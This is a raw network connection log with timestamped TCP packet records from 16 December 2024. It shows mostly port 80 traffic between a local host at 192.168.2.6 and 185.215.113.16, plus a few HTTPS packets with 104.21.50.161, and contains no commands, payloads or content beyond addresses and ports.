Dec 16, 2024 15:02:21.791655064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.791723967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.791726112 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.791737080 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.791790962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.791790962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.792584896 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.792654037 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.793133020 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.793220997 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.793474913 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.793488026 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.793591976 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.793591976 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.794334888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.795248985 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.795260906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.795296907 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.795331955 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.795552015 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.796138048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.796623945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.797044992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.797058105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.797070026 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.797111034 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.797111988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.798090935 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.798103094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.798219919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.798821926 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.798927069 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.799777031 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.799788952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.799926996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.946033955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.946110964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.946259022 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.946276903 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.946352959 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.946479082 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.946790934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.947031975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.947108984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.947349072 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.947406054 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.947475910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.948257923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.948638916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.948762894 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.949145079 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.949182034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.949285984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.950084925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.950701952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.950968027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.951044083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.951776028 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.951874971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.951913118 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.951951981 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.952671051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.952730894 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.953677893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.953713894 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.953753948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.953851938 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.954510927 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.954549074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.954566002 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.955401897 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.955440044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.955530882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.956412077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.956470013 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.956732035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.957087994 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.957134962 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.957235098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.957822084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.958014965 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.958226919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.958271027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.959120989 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.959158897 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.959198952 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.959882021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.959918976 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.959973097 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.960685968 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.960763931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.961519003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.961868048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.961905003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.961973906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.962660074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.963383913 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.963419914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.963439941 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.963557959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.963709116 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.964277029 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.964313030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.964508057 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.965215921 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.965329885 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.965399981 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.966068983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.966157913 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.966161966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.966666937 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:21.966759920 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:21.966797113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.967017889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.967086077 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.967358112 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.967855930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.967931032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.968257904 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.968700886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.968736887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.968758106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.969244957 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.969588995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.969625950 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.969726086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.970544100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.970653057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.970954895 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.971374989 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.971827984 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.971893072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.972207069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.973139048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.973192930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.973215103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.973232031 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.973269939 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.973402977 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.974051952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.974087954 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.974153996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.974972963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.975512981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.975583076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.975764036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.975991964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.976046085 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.976706028 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.976731062 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.976795912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.977545977 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.977557898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.978584051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.978595018 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.978640079 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.979346037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.979454041 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.979513884 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.980252028 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.980433941 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.980686903 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.981235981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.981862068 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.982167006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.982233047 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.982237101 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.982892036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.982904911 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.982958078 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.982958078 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.983760118 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.983916044 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.983978033 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.984771967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.984868050 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.985531092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.985543013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.985582113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.985658884 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.986696959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.986774921 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.987026930 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.987479925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.987493992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.987548113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.988244057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.989181042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.989193916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.989206076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.989254951 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.989254951 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.990098000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.990113974 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.990212917 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.990921021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.990936041 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.991048098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:21.991849899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.991863966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:21.991914988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.063003063 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:22.063051939 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:22.063397884 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:22.082727909 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:22.086587906 CET	49901	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:22.086637020 CET	443	49901	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:22.138228893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.138330936 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.138339043 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.138427973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.138555050 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.138561964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.138653040 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.138721943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.139520884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.139569044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.139630079 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.140409946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.140515089 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.140719891 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.141288042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.142280102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.142299891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.142313957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.142380953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.142380953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.143011093 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.143068075 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.143810987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.143969059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.144035101 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.144036055 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.144834995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.144857883 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.144912958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.144912958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.145756006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.146177053 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.146660089 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.146672964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.146744013 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.146945000 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.147572994 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.147593975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.147696972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.147696972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.148380995 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.148479939 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.148514986 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.149296999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.149311066 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.149715900 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.149864912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.150137901 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.150294065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.150485992 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.151107073 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.151443005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.151535988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.151926994 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.152005911 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.152082920 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.152798891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.153314114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.153800964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.153814077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.153827906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.153881073 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.154607058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.154953957 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.155088902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.155131102 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.155519962 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.155531883 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.155594110 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.156416893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.156498909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.156534910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.156569004 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.157315969 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.157809973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.157874107 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.158030987 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.158184052 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.158267021 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.158288956 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.158340931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.159039021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.159158945 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.159174919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.159339905 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.159950972 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.159964085 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.160048008 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.160048008 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.161010027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.161022902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.161072969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.161758900 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.162102938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.162177086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.162671089 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.162719965 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.162744999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.163079977 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.163811922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.163894892 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.164210081 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.164413929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.164736032 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.164757013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.165045023 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.165364027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.165389061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.165607929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.165607929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.166129112 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.166695118 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.167032003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.167045116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.167063951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.167171001 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.167171001 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.167916059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.168807983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.168819904 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.168834925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.169090033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.169090033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.169090033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.169660091 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.169775963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.170577049 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.170700073 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.171242952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.171333075 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.171479940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.171492100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.171865940 CET	49892	80	192.168.2.6	185.215.113.16
